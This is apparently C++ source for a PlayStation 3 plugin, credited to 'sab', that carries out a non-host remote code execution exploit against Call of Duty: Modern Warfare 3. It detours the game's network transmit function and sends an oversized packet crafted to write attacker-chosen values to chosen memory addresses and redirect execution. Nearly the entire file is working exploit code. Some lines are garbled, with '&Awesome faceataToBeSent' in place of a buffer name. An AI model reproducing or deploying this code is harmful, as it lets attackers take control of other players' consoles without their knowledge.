MW3 NON-Host RCE By sab

#include <cellstatus.h>

#include <sys/prx.h>

#include <time.h>

#include <fastmath.h>

#include <ppu_intrinsics.h>

#include <stdarg.h>

#include <stddef.h>



#include <sys/prx.h>

#include <sys/syscall.h>

#include <sys/ppu_thread.h>

#include <sys/sys_time.h>

#include <sys/time_util.h>

#include <sys/timer.h>

#include <sys/types.h>



#include <sys/socket.h>

#include <netinet\in.h>

#include <arpa\inet.h>

#include <netdb.h>

#include <cell\pad\libpad.h>

#include <sys/process.h>

#include <sys/memory.h>



SYS_MODULE_INFO( MW3_RCE, 0, 1, 1);

SYS_MODULE_START( _MW3_RCE_prx_entry );



/*

Credits:

Gamer7112 for bring my attention to this

momo5502 for originally making a post showing this off.

Sabotage finding the exploit and creating the poc

*/



extern "C" {

    void *_sys_memset(void * ptr, void* value, size_t num);

}



#define memset          _sys_memset



struct msg_t

{

    int overflowed;

    int readOnly;

    char* data;

    char* splitData;

    int maxsize;

    int cursize;

    int splitSize;

    int readcount;

    int bit;

    int lastEntityRef;

    int targetLocalNetID;

    int useZlib;

};



#define TOC 0x72DCE8



struct opd_s_o

{

    unsigned int sub;

    unsigned int toc;

};



opd_s_o MSG_WriteBitsCompress_t = { 0x001FBFC8, TOC };

int(*MSG_WriteBitsCompress)(bool trainHuffman, const char *from, char *to, int size) = (int(*)(bool trainHuffman, const char *from, char *to, int size))&MSG_WriteBitsCompress_t;



opd_s_o MSG_Init_t = { 0x001FBC78, TOC };

int(*MSG_Init)(msg_t* msg, char* buffer, int size) = (int(*)(msg_t* msg, char* buffer, int size))&MSG_Init_t;



opd_s_o MSG_WriteData_t = { 0x001FC128, TOC };

int(*MSG_WriteData)(msg_t* msg, unsigned char* data, int size) = (int(*)(msg_t* msg, unsigned char* data, int size))&MSG_WriteData_t;



int CL_Netchan_TransmitStub(...)

{

    __asm("li %r3, 0x332;");

}







int CL_Netchan_Transmit(int netchan, unsigned char* buffer, int size, int unk)

{

    if (*(int*)0x10055000 == 2)

    {

        msg_t message;

        memset(&message, 0, sizeof(msg_t));



        char MessageBuffer[0x1000];

        char DataToBeSent[0x1000];

        memset(MessageBuffer, 0, 0x1000);

        memset(DataToBeSent, 0, 0x1000);



        MSG_Init(&message, MessageBuffer, 0x1000);

        MSG_WriteData(&message, buffer, 0x9);



        memset(DataToBeSent, 0, 0x840 + 0x9C);



        int* a = (int*)&Awesome faceataToBeSent[0x808];



        a[1] = *(int*)(0x10055014); //value

        a[3] = *(int*)(0x10055010); //address



        int* r = (int*)&Awesome faceataToBeSent[0x820];



        r[3] = 0xCAD8C;



        r[35] = 0x1F6E58;

        r[36] = 0xAAAAAAAA;



        MSG_WriteData(&message, (unsigned char*)DataToBeSent, 0x840 + 0x9C);



        int CompressedSize = MSG_WriteBitsCompress(0, &message.data[0x9], &message.data[0x9], message.cursize - 0x9);



        *(int*)0x10055000 = 0;



        return CL_Netchan_TransmitStub(netchan, (unsigned char*)message.data, CompressedSize, unk);

    }



    return CL_Netchan_TransmitStub(netchan, buffer, size, unk);



}







int sys_dbg_read_process_memory(uint64_t address, void* data, size_t size) {

    system_call_4(904, (uint64_t)sys_process_getpid(), address, size, (uint64_t)data);

    return_to_user_prog(int);

}



int sys_dbg_write_process_memory(uint64_t address, void* data, size_t size) {

    system_call_4(905, (uint64_t)sys_process_getpid(), address, size, (uint64_t)data);

    __dcbst((void*)address);

    __sync();

    __isync();

    return_to_user_prog(int32_t);

}



void DetourFunction(int address, void(*hookFunc), void(*stubFunc)) {

    int StubData[8], FuncData[4];



    int hook_address = hookFunc != NULL ? *(int*)hookFunc : 0;

    int stub_address = stubFunc != NULL ? *(int*)stubFunc : 0;



    if (stub_address) {

        int branchAddr = address + 0x10;

        StubData[0] = 0x3D600000 + ((branchAddr >> 16) & 0xFFFF) + (branchAddr & 0x8000 ? 1 : 0);

        StubData[1] = 0x396B0000 + (branchAddr & 0xFFFF);

        StubData[2] = 0x7D6903A6;

        StubData[7] = 0x4E800420;

        sys_dbg_read_process_memory(address, &StubData[3], 0x10);

        sys_dbg_write_process_memory(stub_address, StubData, 0x20);

    }



    if (hook_address) {

        FuncData[0] = 0x3D600000 + ((hook_address >> 16) & 0xFFFF) + (hook_address & 0x8000 ? 1 : 0);

        FuncData[1] = 0x396B0000 + (hook_address & 0xFFFF);

        FuncData[2] = 0x7D6903A6;

        FuncData[3] = 0x4E800420;

        sys_dbg_write_process_memory(address, FuncData, 0x10);

    }

}





extern "C" int _MW3_RCE_prx_entry(void)

{

    DetourFunction(0xDE810, CL_Netchan_TransmitStub, CL_Netchan_Transmit);



    return SYS_PRX_RESIDENT;

}